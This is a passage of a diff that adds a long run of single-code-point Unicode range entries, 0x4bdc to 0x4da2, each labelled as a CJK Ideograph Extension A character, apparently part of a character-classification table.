+ [0x4bdc, 0x4bdc], /* CJK Ideograph Extension A */
+ [0x4bdd, 0x4bdd], /* CJK Ideograph Extension A */
+ [0x4bde, 0x4bde], /* CJK Ideograph Extension A */
+ [0x4bdf, 0x4bdf], /* CJK Ideograph Extension A */
+ [0x4be0, 0x4be0], /* CJK Ideograph Extension A */
+ [0x4be1, 0x4be1], /* CJK Ideograph Extension A */
+ [0x4be2, 0x4be2], /* CJK Ideograph Extension A */
+ [0x4be3, 0x4be3], /* CJK Ideograph Extension A */
+ [0x4be4, 0x4be4], /* CJK Ideograph Extension A */
+ [0x4be5, 0x4be5], /* CJK Ideograph Extension A */
+ [0x4be6, 0x4be6], /* CJK Ideograph Extension A */
+ [0x4be7, 0x4be7], /* CJK Ideograph Extension A */
+ [0x4be8, 0x4be8], /* CJK Ideograph Extension A */
+ [0x4be9, 0x4be9], /* CJK Ideograph Extension A */
+ [0x4bea, 0x4bea], /* CJK Ideograph Extension A */
+ [0x4beb, 0x4beb], /* CJK Ideograph Extension A */
+ [0x4bec, 0x4bec], /* CJK Ideograph Extension A */
+ [0x4bed, 0x4bed], /* CJK Ideograph Extension A */
+ [0x4bee, 0x4bee], /* CJK Ideograph Extension A */
+ [0x4bef, 0x4bef], /* CJK Ideograph Extension A */
+ [0x4bf0, 0x4bf0], /* CJK Ideograph Extension A */
+ [0x4bf1, 0x4bf1], /* CJK Ideograph Extension A */
+ [0x4bf2, 0x4bf2], /* CJK Ideograph Extension A */
+ [0x4bf3, 0x4bf3], /* CJK Ideograph Extension A */
+ [0x4bf4, 0x4bf4], /* CJK Ideograph Extension A */
+ [0x4bf5, 0x4bf5], /* CJK Ideograph Extension A */
+ [0x4bf6, 0x4bf6], /* CJK Ideograph Extension A */
+ [0x4bf7, 0x4bf7], /* CJK Ideograph Extension A */
+ [0x4bf8, 0x4bf8], /* CJK Ideograph Extension A */
+ [0x4bf9, 0x4bf9], /* CJK Ideograph Extension A */
+ [0x4bfa, 0x4bfa], /* CJK Ideograph Extension A */
+ [0x4bfb, 0x4bfb], /* CJK Ideograph Extension A */
+ [0x4bfc, 0x4bfc], /* CJK Ideograph Extension A */
+ [0x4bfd, 0x4bfd], /* CJK Ideograph Extension A */
+ [0x4bfe, 0x4bfe], /* CJK Ideograph Extension A */
+ [0x4bff, 0x4bff], /* CJK Ideograph Extension A */
+ [0x4c00, 0x4c00], /* CJK Ideograph Extension A */
+ [0x4c01, 0x4c01], /* CJK Ideograph Extension A */
+ [0x4c02, 0x4c02], /* CJK Ideograph Extension A */
+ [0x4c03, 0x4c03], /* CJK Ideograph Extension A */
+ [0x4c04, 0x4c04], /* CJK Ideograph Extension A */
+ [0x4c05, 0x4c05], /* CJK Ideograph Extension A */
+ [0x4c06, 0x4c06], /* CJK Ideograph Extension A */
+ [0x4c07, 0x4c07], /* CJK Ideograph Extension A */
+ [0x4c08, 0x4c08], /* CJK Ideograph Extension A */
+ [0x4c09, 0x4c09], /* CJK Ideograph Extension A */
+ [0x4c0a, 0x4c0a], /* CJK Ideograph Extension A */
+ [0x4c0b, 0x4c0b], /* CJK Ideograph Extension A */
+ [0x4c0c, 0x4c0c], /* CJK Ideograph Extension A */
+ [0x4c0d, 0x4c0d], /* CJK Ideograph Extension A */
+ [0x4c0e, 0x4c0e], /* CJK Ideograph Extension A */
+ [0x4c0f, 0x4c0f], /* CJK Ideograph Extension A */
+ [0x4c10, 0x4c10], /* CJK Ideograph Extension A */
+ [0x4c11, 0x4c11], /* CJK Ideograph Extension A */
+ [0x4c12, 0x4c12], /* CJK Ideograph Extension A */
+ [0x4c13, 0x4c13], /* CJK Ideograph Extension A */
+ [0x4c14, 0x4c14], /* CJK Ideograph Extension A */
+ [0x4c15, 0x4c15], /* CJK Ideograph Extension A */
+ [0x4c16, 0x4c16], /* CJK Ideograph Extension A */
+ [0x4c17, 0x4c17], /* CJK Ideograph Extension A */
+ [0x4c18, 0x4c18], /* CJK Ideograph Extension A */
+ [0x4c19, 0x4c19], /* CJK Ideograph Extension A */
+ [0x4c1a, 0x4c1a], /* CJK Ideograph Extension A */
+ [0x4c1b, 0x4c1b], /* CJK Ideograph Extension A */
+ [0x4c1c, 0x4c1c], /* CJK Ideograph Extension A */
+ [0x4c1d, 0x4c1d], /* CJK Ideograph Extension A */
+ [0x4c1e, 0x4c1e], /* CJK Ideograph Extension A */
+ [0x4c1f, 0x4c1f], /* CJK Ideograph Extension A */
+ [0x4c20, 0x4c20], /* CJK Ideograph Extension A */
+ [0x4c21, 0x4c21], /* CJK Ideograph Extension A */
+ [0x4c22, 0x4c22], /* CJK Ideograph Extension A */
+ [0x4c23, 0x4c23], /* CJK Ideograph Extension A */
+ [0x4c24, 0x4c24], /* CJK Ideograph Extension A */
+ [0x4c25, 0x4c25], /* CJK Ideograph Extension A */
+ [0x4c26, 0x4c26], /* CJK Ideograph Extension A */
+ [0x4c27, 0x4c27], /* CJK Ideograph Extension A */
+ [0x4c28, 0x4c28], /* CJK Ideograph Extension A */
+ [0x4c29, 0x4c29], /* CJK Ideograph Extension A */
+ [0x4c2a, 0x4c2a], /* CJK Ideograph Extension A */
+ [0x4c2b, 0x4c2b], /* CJK Ideograph Extension A */
+ [0x4c2c, 0x4c2c], /* CJK Ideograph Extension A */
+ [0x4c2d, 0x4c2d], /* CJK Ideograph Extension A */
+ [0x4c2e, 0x4c2e], /* CJK Ideograph Extension A */
+ [0x4c2f, 0x4c2f], /* CJK Ideograph Extension A */
+ [0x4c30, 0x4c30], /* CJK Ideograph Extension A */
+ [0x4c31, 0x4c31], /* CJK Ideograph Extension A */
+ [0x4c32, 0x4c32], /* CJK Ideograph Extension A */
+ [0x4c33, 0x4c33], /* CJK Ideograph Extension A */
+ [0x4c34, 0x4c34], /* CJK Ideograph Extension A */
+ [0x4c35, 0x4c35], /* CJK Ideograph Extension A */
+ [0x4c36, 0x4c36], /* CJK Ideograph Extension A */
+ [0x4c37, 0x4c37], /* CJK Ideograph Extension A */
+ [0x4c38, 0x4c38], /* CJK Ideograph Extension A */
+ [0x4c39, 0x4c39], /* CJK Ideograph Extension A */
+ [0x4c3a, 0x4c3a], /* CJK Ideograph Extension A */
+ [0x4c3b, 0x4c3b], /* CJK Ideograph Extension A */
+ [0x4c3c, 0x4c3c], /* CJK Ideograph Extension A */
+ [0x4c3d, 0x4c3d], /* CJK Ideograph Extension A */
+ [0x4c3e, 0x4c3e], /* CJK Ideograph Extension A */
+ [0x4c3f, 0x4c3f], /* CJK Ideograph Extension A */
+ [0x4c40, 0x4c40], /* CJK Ideograph Extension A */
+ [0x4c41, 0x4c41], /* CJK Ideograph Extension A */
+ [0x4c42, 0x4c42], /* CJK Ideograph Extension A */
+ [0x4c43, 0x4c43], /* CJK Ideograph Extension A */
+ [0x4c44, 0x4c44], /* CJK Ideograph Extension A */
+ [0x4c45, 0x4c45], /* CJK Ideograph Extension A */
+ [0x4c46, 0x4c46], /* CJK Ideograph Extension A */
+ [0x4c47, 0x4c47], /* CJK Ideograph Extension A */
+ [0x4c48, 0x4c48], /* CJK Ideograph Extension A */
+ [0x4c49, 0x4c49], /* CJK Ideograph Extension A */
+ [0x4c4a, 0x4c4a], /* CJK Ideograph Extension A */
+ [0x4c4b, 0x4c4b], /* CJK Ideograph Extension A */
+ [0x4c4c, 0x4c4c], /* CJK Ideograph Extension A */
+ [0x4c4d, 0x4c4d], /* CJK Ideograph Extension A */
+ [0x4c4e, 0x4c4e], /* CJK Ideograph Extension A */
+ [0x4c4f, 0x4c4f], /* CJK Ideograph Extension A */
+ [0x4c50, 0x4c50], /* CJK Ideograph Extension A */
+ [0x4c51, 0x4c51], /* CJK Ideograph Extension A */
+ [0x4c52, 0x4c52], /* CJK Ideograph Extension A */
+ [0x4c53, 0x4c53], /* CJK Ideograph Extension A */
+ [0x4c54, 0x4c54], /* CJK Ideograph Extension A */
+ [0x4c55, 0x4c55], /* CJK Ideograph Extension A */
+ [0x4c56, 0x4c56], /* CJK Ideograph Extension A */
+ [0x4c57, 0x4c57], /* CJK Ideograph Extension A */
+ [0x4c58, 0x4c58], /* CJK Ideograph Extension A */
+ [0x4c59, 0x4c59], /* CJK Ideograph Extension A */
+ [0x4c5a, 0x4c5a], /* CJK Ideograph Extension A */
+ [0x4c5b, 0x4c5b], /* CJK Ideograph Extension A */
+ [0x4c5c, 0x4c5c], /* CJK Ideograph Extension A */
+ [0x4c5d, 0x4c5d], /* CJK Ideograph Extension A */
+ [0x4c5e, 0x4c5e], /* CJK Ideograph Extension A */
+ [0x4c5f, 0x4c5f], /* CJK Ideograph Extension A */
+ [0x4c60, 0x4c60], /* CJK Ideograph Extension A */
+ [0x4c61, 0x4c61], /* CJK Ideograph Extension A */
+ [0x4c62, 0x4c62], /* CJK Ideograph Extension A */
+ [0x4c63, 0x4c63], /* CJK Ideograph Extension A */
+ [0x4c64, 0x4c64], /* CJK Ideograph Extension A */
+ [0x4c65, 0x4c65], /* CJK Ideograph Extension A */
+ [0x4c66, 0x4c66], /* CJK Ideograph Extension A */
+ [0x4c67, 0x4c67], /* CJK Ideograph Extension A */
+ [0x4c68, 0x4c68], /* CJK Ideograph Extension A */
+ [0x4c69, 0x4c69], /* CJK Ideograph Extension A */
+ [0x4c6a, 0x4c6a], /* CJK Ideograph Extension A */
+ [0x4c6b, 0x4c6b], /* CJK Ideograph Extension A */
+ [0x4c6c, 0x4c6c], /* CJK Ideograph Extension A */
+ [0x4c6d, 0x4c6d], /* CJK Ideograph Extension A */
+ [0x4c6e, 0x4c6e], /* CJK Ideograph Extension A */
+ [0x4c6f, 0x4c6f], /* CJK Ideograph Extension A */
+ [0x4c70, 0x4c70], /* CJK Ideograph Extension A */
+ [0x4c71, 0x4c71], /* CJK Ideograph Extension A */
+ [0x4c72, 0x4c72], /* CJK Ideograph Extension A */
+ [0x4c73, 0x4c73], /* CJK Ideograph Extension A */
+ [0x4c74, 0x4c74], /* CJK Ideograph Extension A */
+ [0x4c75, 0x4c75], /* CJK Ideograph Extension A */
+ [0x4c76, 0x4c76], /* CJK Ideograph Extension A */
+ [0x4c77, 0x4c77], /* CJK Ideograph Extension A */
+ [0x4c78, 0x4c78], /* CJK Ideograph Extension A */
+ [0x4c79, 0x4c79], /* CJK Ideograph Extension A */
+ [0x4c7a, 0x4c7a], /* CJK Ideograph Extension A */
+ [0x4c7b, 0x4c7b], /* CJK Ideograph Extension A */
+ [0x4c7c, 0x4c7c], /* CJK Ideograph Extension A */
+ [0x4c7d, 0x4c7d], /* CJK Ideograph Extension A */
+ [0x4c7e, 0x4c7e], /* CJK Ideograph Extension A */
+ [0x4c7f, 0x4c7f], /* CJK Ideograph Extension A */
+ [0x4c80, 0x4c80], /* CJK Ideograph Extension A */
+ [0x4c81, 0x4c81], /* CJK Ideograph Extension A */
+ [0x4c82, 0x4c82], /* CJK Ideograph Extension A */
+ [0x4c83, 0x4c83], /* CJK Ideograph Extension A */
+ [0x4c84, 0x4c84], /* CJK Ideograph Extension A */
+ [0x4c85, 0x4c85], /* CJK Ideograph Extension A */
+ [0x4c86, 0x4c86], /* CJK Ideograph Extension A */
+ [0x4c87, 0x4c87], /* CJK Ideograph Extension A */
+ [0x4c88, 0x4c88], /* CJK Ideograph Extension A */
+ [0x4c89, 0x4c89], /* CJK Ideograph Extension A */
+ [0x4c8a, 0x4c8a], /* CJK Ideograph Extension A */
+ [0x4c8b, 0x4c8b], /* CJK Ideograph Extension A */
+ [0x4c8c, 0x4c8c], /* CJK Ideograph Extension A */
+ [0x4c8d, 0x4c8d], /* CJK Ideograph Extension A */
+ [0x4c8e, 0x4c8e], /* CJK Ideograph Extension A */
+ [0x4c8f, 0x4c8f], /* CJK Ideograph Extension A */
+ [0x4c90, 0x4c90], /* CJK Ideograph Extension A */
+ [0x4c91, 0x4c91], /* CJK Ideograph Extension A */
+ [0x4c92, 0x4c92], /* CJK Ideograph Extension A */
+ [0x4c93, 0x4c93], /* CJK Ideograph Extension A */
+ [0x4c94, 0x4c94], /* CJK Ideograph Extension A */
+ [0x4c95, 0x4c95], /* CJK Ideograph Extension A */
+ [0x4c96, 0x4c96], /* CJK Ideograph Extension A */
+ [0x4c97, 0x4c97], /* CJK Ideograph Extension A */
+ [0x4c98, 0x4c98], /* CJK Ideograph Extension A */
+ [0x4c99, 0x4c99], /* CJK Ideograph Extension A */
+ [0x4c9a, 0x4c9a], /* CJK Ideograph Extension A */
+ [0x4c9b, 0x4c9b], /* CJK Ideograph Extension A */
+ [0x4c9c, 0x4c9c], /* CJK Ideograph Extension A */
+ [0x4c9d, 0x4c9d], /* CJK Ideograph Extension A */
+ [0x4c9e, 0x4c9e], /* CJK Ideograph Extension A */
+ [0x4c9f, 0x4c9f], /* CJK Ideograph Extension A */
+ [0x4ca0, 0x4ca0], /* CJK Ideograph Extension A */
+ [0x4ca1, 0x4ca1], /* CJK Ideograph Extension A */
+ [0x4ca2, 0x4ca2], /* CJK Ideograph Extension A */
+ [0x4ca3, 0x4ca3], /* CJK Ideograph Extension A */
+ [0x4ca4, 0x4ca4], /* CJK Ideograph Extension A */
+ [0x4ca5, 0x4ca5], /* CJK Ideograph Extension A */
+ [0x4ca6, 0x4ca6], /* CJK Ideograph Extension A */
+ [0x4ca7, 0x4ca7], /* CJK Ideograph Extension A */
+ [0x4ca8, 0x4ca8], /* CJK Ideograph Extension A */
+ [0x4ca9, 0x4ca9], /* CJK Ideograph Extension A */
+ [0x4caa, 0x4caa], /* CJK Ideograph Extension A */
+ [0x4cab, 0x4cab], /* CJK Ideograph Extension A */
+ [0x4cac, 0x4cac], /* CJK Ideograph Extension A */
+ [0x4cad, 0x4cad], /* CJK Ideograph Extension A */
+ [0x4cae, 0x4cae], /* CJK Ideograph Extension A */
+ [0x4caf, 0x4caf], /* CJK Ideograph Extension A */
+ [0x4cb0, 0x4cb0], /* CJK Ideograph Extension A */
+ [0x4cb1, 0x4cb1], /* CJK Ideograph Extension A */
+ [0x4cb2, 0x4cb2], /* CJK Ideograph Extension A */
+ [0x4cb3, 0x4cb3], /* CJK Ideograph Extension A */
+ [0x4cb4, 0x4cb4], /* CJK Ideograph Extension A */
+ [0x4cb5, 0x4cb5], /* CJK Ideograph Extension A */
+ [0x4cb6, 0x4cb6], /* CJK Ideograph Extension A */
+ [0x4cb7, 0x4cb7], /* CJK Ideograph Extension A */
+ [0x4cb8, 0x4cb8], /* CJK Ideograph Extension A */
+ [0x4cb9, 0x4cb9], /* CJK Ideograph Extension A */
+ [0x4cba, 0x4cba], /* CJK Ideograph Extension A */
+ [0x4cbb, 0x4cbb], /* CJK Ideograph Extension A */
+ [0x4cbc, 0x4cbc], /* CJK Ideograph Extension A */
+ [0x4cbd, 0x4cbd], /* CJK Ideograph Extension A */
+ [0x4cbe, 0x4cbe], /* CJK Ideograph Extension A */
+ [0x4cbf, 0x4cbf], /* CJK Ideograph Extension A */
+ [0x4cc0, 0x4cc0], /* CJK Ideograph Extension A */
+ [0x4cc1, 0x4cc1], /* CJK Ideograph Extension A */
+ [0x4cc2, 0x4cc2], /* CJK Ideograph Extension A */
+ [0x4cc3, 0x4cc3], /* CJK Ideograph Extension A */
+ [0x4cc4, 0x4cc4], /* CJK Ideograph Extension A */
+ [0x4cc5, 0x4cc5], /* CJK Ideograph Extension A */
+ [0x4cc6, 0x4cc6], /* CJK Ideograph Extension A */
+ [0x4cc7, 0x4cc7], /* CJK Ideograph Extension A */
+ [0x4cc8, 0x4cc8], /* CJK Ideograph Extension A */
+ [0x4cc9, 0x4cc9], /* CJK Ideograph Extension A */
+ [0x4cca, 0x4cca], /* CJK Ideograph Extension A */
+ [0x4ccb, 0x4ccb], /* CJK Ideograph Extension A */
+ [0x4ccc, 0x4ccc], /* CJK Ideograph Extension A */
+ [0x4ccd, 0x4ccd], /* CJK Ideograph Extension A */
+ [0x4cce, 0x4cce], /* CJK Ideograph Extension A */
+ [0x4ccf, 0x4ccf], /* CJK Ideograph Extension A */
+ [0x4cd0, 0x4cd0], /* CJK Ideograph Extension A */
+ [0x4cd1, 0x4cd1], /* CJK Ideograph Extension A */
+ [0x4cd2, 0x4cd2], /* CJK Ideograph Extension A */
+ [0x4cd3, 0x4cd3], /* CJK Ideograph Extension A */
+ [0x4cd4, 0x4cd4], /* CJK Ideograph Extension A */
+ [0x4cd5, 0x4cd5], /* CJK Ideograph Extension A */
+ [0x4cd6, 0x4cd6], /* CJK Ideograph Extension A */
+ [0x4cd7, 0x4cd7], /* CJK Ideograph Extension A */
+ [0x4cd8, 0x4cd8], /* CJK Ideograph Extension A */
+ [0x4cd9, 0x4cd9], /* CJK Ideograph Extension A */
+ [0x4cda, 0x4cda], /* CJK Ideograph Extension A */
+ [0x4cdb, 0x4cdb], /* CJK Ideograph Extension A */
+ [0x4cdc, 0x4cdc], /* CJK Ideograph Extension A */
+ [0x4cdd, 0x4cdd], /* CJK Ideograph Extension A */
+ [0x4cde, 0x4cde], /* CJK Ideograph Extension A */
+ [0x4cdf, 0x4cdf], /* CJK Ideograph Extension A */
+ [0x4ce0, 0x4ce0], /* CJK Ideograph Extension A */
+ [0x4ce1, 0x4ce1], /* CJK Ideograph Extension A */
+ [0x4ce2, 0x4ce2], /* CJK Ideograph Extension A */
+ [0x4ce3, 0x4ce3], /* CJK Ideograph Extension A */
+ [0x4ce4, 0x4ce4], /* CJK Ideograph Extension A */
+ [0x4ce5, 0x4ce5], /* CJK Ideograph Extension A */
+ [0x4ce6, 0x4ce6], /* CJK Ideograph Extension A */
+ [0x4ce7, 0x4ce7], /* CJK Ideograph Extension A */
+ [0x4ce8, 0x4ce8], /* CJK Ideograph Extension A */
+ [0x4ce9, 0x4ce9], /* CJK Ideograph Extension A */
+ [0x4cea, 0x4cea], /* CJK Ideograph Extension A */
+ [0x4ceb, 0x4ceb], /* CJK Ideograph Extension A */
+ [0x4cec, 0x4cec], /* CJK Ideograph Extension A */
+ [0x4ced, 0x4ced], /* CJK Ideograph Extension A */
+ [0x4cee, 0x4cee], /* CJK Ideograph Extension A */
+ [0x4cef, 0x4cef], /* CJK Ideograph Extension A */
+ [0x4cf0, 0x4cf0], /* CJK Ideograph Extension A */
+ [0x4cf1, 0x4cf1], /* CJK Ideograph Extension A */
+ [0x4cf2, 0x4cf2], /* CJK Ideograph Extension A */
+ [0x4cf3, 0x4cf3], /* CJK Ideograph Extension A */
+ [0x4cf4, 0x4cf4], /* CJK Ideograph Extension A */
+ [0x4cf5, 0x4cf5], /* CJK Ideograph Extension A */
+ [0x4cf6, 0x4cf6], /* CJK Ideograph Extension A */
+ [0x4cf7, 0x4cf7], /* CJK Ideograph Extension A */
+ [0x4cf8, 0x4cf8], /* CJK Ideograph Extension A */
+ [0x4cf9, 0x4cf9], /* CJK Ideograph Extension A */
+ [0x4cfa, 0x4cfa], /* CJK Ideograph Extension A */
+ [0x4cfb, 0x4cfb], /* CJK Ideograph Extension A */
+ [0x4cfc, 0x4cfc], /* CJK Ideograph Extension A */
+ [0x4cfd, 0x4cfd], /* CJK Ideograph Extension A */
+ [0x4cfe, 0x4cfe], /* CJK Ideograph Extension A */
+ [0x4cff, 0x4cff], /* CJK Ideograph Extension A */
+ [0x4d00, 0x4d00], /* CJK Ideograph Extension A */
+ [0x4d01, 0x4d01], /* CJK Ideograph Extension A */
+ [0x4d02, 0x4d02], /* CJK Ideograph Extension A */
+ [0x4d03, 0x4d03], /* CJK Ideograph Extension A */
+ [0x4d04, 0x4d04], /* CJK Ideograph Extension A */
+ [0x4d05, 0x4d05], /* CJK Ideograph Extension A */
+ [0x4d06, 0x4d06], /* CJK Ideograph Extension A */
+ [0x4d07, 0x4d07], /* CJK Ideograph Extension A */
+ [0x4d08, 0x4d08], /* CJK Ideograph Extension A */
+ [0x4d09, 0x4d09], /* CJK Ideograph Extension A */
+ [0x4d0a, 0x4d0a], /* CJK Ideograph Extension A */
+ [0x4d0b, 0x4d0b], /* CJK Ideograph Extension A */
+ [0x4d0c, 0x4d0c], /* CJK Ideograph Extension A */
+ [0x4d0d, 0x4d0d], /* CJK Ideograph Extension A */
+ [0x4d0e, 0x4d0e], /* CJK Ideograph Extension A */
+ [0x4d0f, 0x4d0f], /* CJK Ideograph Extension A */
+ [0x4d10, 0x4d10], /* CJK Ideograph Extension A */
+ [0x4d11, 0x4d11], /* CJK Ideograph Extension A */
+ [0x4d12, 0x4d12], /* CJK Ideograph Extension A */
+ [0x4d13, 0x4d13], /* CJK Ideograph Extension A */
+ [0x4d14, 0x4d14], /* CJK Ideograph Extension A */
+ [0x4d15, 0x4d15], /* CJK Ideograph Extension A */
+ [0x4d16, 0x4d16], /* CJK Ideograph Extension A */
+ [0x4d17, 0x4d17], /* CJK Ideograph Extension A */
+ [0x4d18, 0x4d18], /* CJK Ideograph Extension A */
+ [0x4d19, 0x4d19], /* CJK Ideograph Extension A */
+ [0x4d1a, 0x4d1a], /* CJK Ideograph Extension A */
+ [0x4d1b, 0x4d1b], /* CJK Ideograph Extension A */
+ [0x4d1c, 0x4d1c], /* CJK Ideograph Extension A */
+ [0x4d1d, 0x4d1d], /* CJK Ideograph Extension A */
+ [0x4d1e, 0x4d1e], /* CJK Ideograph Extension A */
+ [0x4d1f, 0x4d1f], /* CJK Ideograph Extension A */
+ [0x4d20, 0x4d20], /* CJK Ideograph Extension A */
+ [0x4d21, 0x4d21], /* CJK Ideograph Extension A */
+ [0x4d22, 0x4d22], /* CJK Ideograph Extension A */
+ [0x4d23, 0x4d23], /* CJK Ideograph Extension A */
+ [0x4d24, 0x4d24], /* CJK Ideograph Extension A */
+ [0x4d25, 0x4d25], /* CJK Ideograph Extension A */
+ [0x4d26, 0x4d26], /* CJK Ideograph Extension A */
+ [0x4d27, 0x4d27], /* CJK Ideograph Extension A */
+ [0x4d28, 0x4d28], /* CJK Ideograph Extension A */
+ [0x4d29, 0x4d29], /* CJK Ideograph Extension A */
+ [0x4d2a, 0x4d2a], /* CJK Ideograph Extension A */
+ [0x4d2b, 0x4d2b], /* CJK Ideograph Extension A */
+ [0x4d2c, 0x4d2c], /* CJK Ideograph Extension A */
+ [0x4d2d, 0x4d2d], /* CJK Ideograph Extension A */
+ [0x4d2e, 0x4d2e], /* CJK Ideograph Extension A */
+ [0x4d2f, 0x4d2f], /* CJK Ideograph Extension A */
+ [0x4d30, 0x4d30], /* CJK Ideograph Extension A */
+ [0x4d31, 0x4d31], /* CJK Ideograph Extension A */
+ [0x4d32, 0x4d32], /* CJK Ideograph Extension A */
+ [0x4d33, 0x4d33], /* CJK Ideograph Extension A */
+ [0x4d34, 0x4d34], /* CJK Ideograph Extension A */
+ [0x4d35, 0x4d35], /* CJK Ideograph Extension A */
+ [0x4d36, 0x4d36], /* CJK Ideograph Extension A */
+ [0x4d37, 0x4d37], /* CJK Ideograph Extension A */
+ [0x4d38, 0x4d38], /* CJK Ideograph Extension A */
+ [0x4d39, 0x4d39], /* CJK Ideograph Extension A */
+ [0x4d3a, 0x4d3a], /* CJK Ideograph Extension A */
+ [0x4d3b, 0x4d3b], /* CJK Ideograph Extension A */
+ [0x4d3c, 0x4d3c], /* CJK Ideograph Extension A */
+ [0x4d3d, 0x4d3d], /* CJK Ideograph Extension A */
+ [0x4d3e, 0x4d3e], /* CJK Ideograph Extension A */
+ [0x4d3f, 0x4d3f], /* CJK Ideograph Extension A */
+ [0x4d40, 0x4d40], /* CJK Ideograph Extension A */
+ [0x4d41, 0x4d41], /* CJK Ideograph Extension A */
+ [0x4d42, 0x4d42], /* CJK Ideograph Extension A */
+ [0x4d43, 0x4d43], /* CJK Ideograph Extension A */
+ [0x4d44, 0x4d44], /* CJK Ideograph Extension A */
+ [0x4d45, 0x4d45], /* CJK Ideograph Extension A */
+ [0x4d46, 0x4d46], /* CJK Ideograph Extension A */
+ [0x4d47, 0x4d47], /* CJK Ideograph Extension A */
+ [0x4d48, 0x4d48], /* CJK Ideograph Extension A */
+ [0x4d49, 0x4d49], /* CJK Ideograph Extension A */
+ [0x4d4a, 0x4d4a], /* CJK Ideograph Extension A */
+ [0x4d4b, 0x4d4b], /* CJK Ideograph Extension A */
+ [0x4d4c, 0x4d4c], /* CJK Ideograph Extension A */
+ [0x4d4d, 0x4d4d], /* CJK Ideograph Extension A */
+ [0x4d4e, 0x4d4e], /* CJK Ideograph Extension A */
+ [0x4d4f, 0x4d4f], /* CJK Ideograph Extension A */
+ [0x4d50, 0x4d50], /* CJK Ideograph Extension A */
+ [0x4d51, 0x4d51], /* CJK Ideograph Extension A */
+ [0x4d52, 0x4d52], /* CJK Ideograph Extension A */
+ [0x4d53, 0x4d53], /* CJK Ideograph Extension A */
+ [0x4d54, 0x4d54], /* CJK Ideograph Extension A */
+ [0x4d55, 0x4d55], /* CJK Ideograph Extension A */
+ [0x4d56, 0x4d56], /* CJK Ideograph Extension A */
+ [0x4d57, 0x4d57], /* CJK Ideograph Extension A */
+ [0x4d58, 0x4d58], /* CJK Ideograph Extension A */
+ [0x4d59, 0x4d59], /* CJK Ideograph Extension A */
+ [0x4d5a, 0x4d5a], /* CJK Ideograph Extension A */
+ [0x4d5b, 0x4d5b], /* CJK Ideograph Extension A */
+ [0x4d5c, 0x4d5c], /* CJK Ideograph Extension A */
+ [0x4d5d, 0x4d5d], /* CJK Ideograph Extension A */
+ [0x4d5e, 0x4d5e], /* CJK Ideograph Extension A */
+ [0x4d5f, 0x4d5f], /* CJK Ideograph Extension A */
+ [0x4d60, 0x4d60], /* CJK Ideograph Extension A */
+ [0x4d61, 0x4d61], /* CJK Ideograph Extension A */
+ [0x4d62, 0x4d62], /* CJK Ideograph Extension A */
+ [0x4d63, 0x4d63], /* CJK Ideograph Extension A */
+ [0x4d64, 0x4d64], /* CJK Ideograph Extension A */
+ [0x4d65, 0x4d65], /* CJK Ideograph Extension A */
+ [0x4d66, 0x4d66], /* CJK Ideograph Extension A */
+ [0x4d67, 0x4d67], /* CJK Ideograph Extension A */
+ [0x4d68, 0x4d68], /* CJK Ideograph Extension A */
+ [0x4d69, 0x4d69], /* CJK Ideograph Extension A */
+ [0x4d6a, 0x4d6a], /* CJK Ideograph Extension A */
+ [0x4d6b, 0x4d6b], /* CJK Ideograph Extension A */
+ [0x4d6c, 0x4d6c], /* CJK Ideograph Extension A */
+ [0x4d6d, 0x4d6d], /* CJK Ideograph Extension A */
+ [0x4d6e, 0x4d6e], /* CJK Ideograph Extension A */
+ [0x4d6f, 0x4d6f], /* CJK Ideograph Extension A */
+ [0x4d70, 0x4d70], /* CJK Ideograph Extension A */
+ [0x4d71, 0x4d71], /* CJK Ideograph Extension A */
+ [0x4d72, 0x4d72], /* CJK Ideograph Extension A */
+ [0x4d73, 0x4d73], /* CJK Ideograph Extension A */
+ [0x4d74, 0x4d74], /* CJK Ideograph Extension A */
+ [0x4d75, 0x4d75], /* CJK Ideograph Extension A */
+ [0x4d76, 0x4d76], /* CJK Ideograph Extension A */
+ [0x4d77, 0x4d77], /* CJK Ideograph Extension A */
+ [0x4d78, 0x4d78], /* CJK Ideograph Extension A */
+ [0x4d79, 0x4d79], /* CJK Ideograph Extension A */
+ [0x4d7a, 0x4d7a], /* CJK Ideograph Extension A */
+ [0x4d7b, 0x4d7b], /* CJK Ideograph Extension A */
+ [0x4d7c, 0x4d7c], /* CJK Ideograph Extension A */
+ [0x4d7d, 0x4d7d], /* CJK Ideograph Extension A */
+ [0x4d7e, 0x4d7e], /* CJK Ideograph Extension A */
+ [0x4d7f, 0x4d7f], /* CJK Ideograph Extension A */
+ [0x4d80, 0x4d80], /* CJK Ideograph Extension A */
+ [0x4d81, 0x4d81], /* CJK Ideograph Extension A */
+ [0x4d82, 0x4d82], /* CJK Ideograph Extension A */
+ [0x4d83, 0x4d83], /* CJK Ideograph Extension A */
+ [0x4d84, 0x4d84], /* CJK Ideograph Extension A */
+ [0x4d85, 0x4d85], /* CJK Ideograph Extension A */
+ [0x4d86, 0x4d86], /* CJK Ideograph Extension A */
+ [0x4d87, 0x4d87], /* CJK Ideograph Extension A */
+ [0x4d88, 0x4d88], /* CJK Ideograph Extension A */
+ [0x4d89, 0x4d89], /* CJK Ideograph Extension A */
+ [0x4d8a, 0x4d8a], /* CJK Ideograph Extension A */
+ [0x4d8b, 0x4d8b], /* CJK Ideograph Extension A */
+ [0x4d8c, 0x4d8c], /* CJK Ideograph Extension A */
+ [0x4d8d, 0x4d8d], /* CJK Ideograph Extension A */
+ [0x4d8e, 0x4d8e], /* CJK Ideograph Extension A */
+ [0x4d8f, 0x4d8f], /* CJK Ideograph Extension A */
+ [0x4d90, 0x4d90], /* CJK Ideograph Extension A */
+ [0x4d91, 0x4d91], /* CJK Ideograph Extension A */
+ [0x4d92, 0x4d92], /* CJK Ideograph Extension A */
+ [0x4d93, 0x4d93], /* CJK Ideograph Extension A */
+ [0x4d94, 0x4d94], /* CJK Ideograph Extension A */
+ [0x4d95, 0x4d95], /* CJK Ideograph Extension A */
+ [0x4d96, 0x4d96], /* CJK Ideograph Extension A */
+ [0x4d97, 0x4d97], /* CJK Ideograph Extension A */
+ [0x4d98, 0x4d98], /* CJK Ideograph Extension A */
+ [0x4d99, 0x4d99], /* CJK Ideograph Extension A */
+ [0x4d9a, 0x4d9a], /* CJK Ideograph Extension A */
+ [0x4d9b, 0x4d9b], /* CJK Ideograph Extension A */
+ [0x4d9c, 0x4d9c], /* CJK Ideograph Extension A */
+ [0x4d9d, 0x4d9d], /* CJK Ideograph Extension A */
+ [0x4d9e, 0x4d9e], /* CJK Ideograph Extension A */
+ [0x4d9f, 0x4d9f], /* CJK Ideograph Extension A */
+ [0x4da0, 0x4da0], /* CJK Ideograph Extension A */
+ [0x4da1, 0x4da1], /* CJK Ideograph Extension A */
+ [0x4da2, 0x4da2], /* CJK Ideograph Extension A */
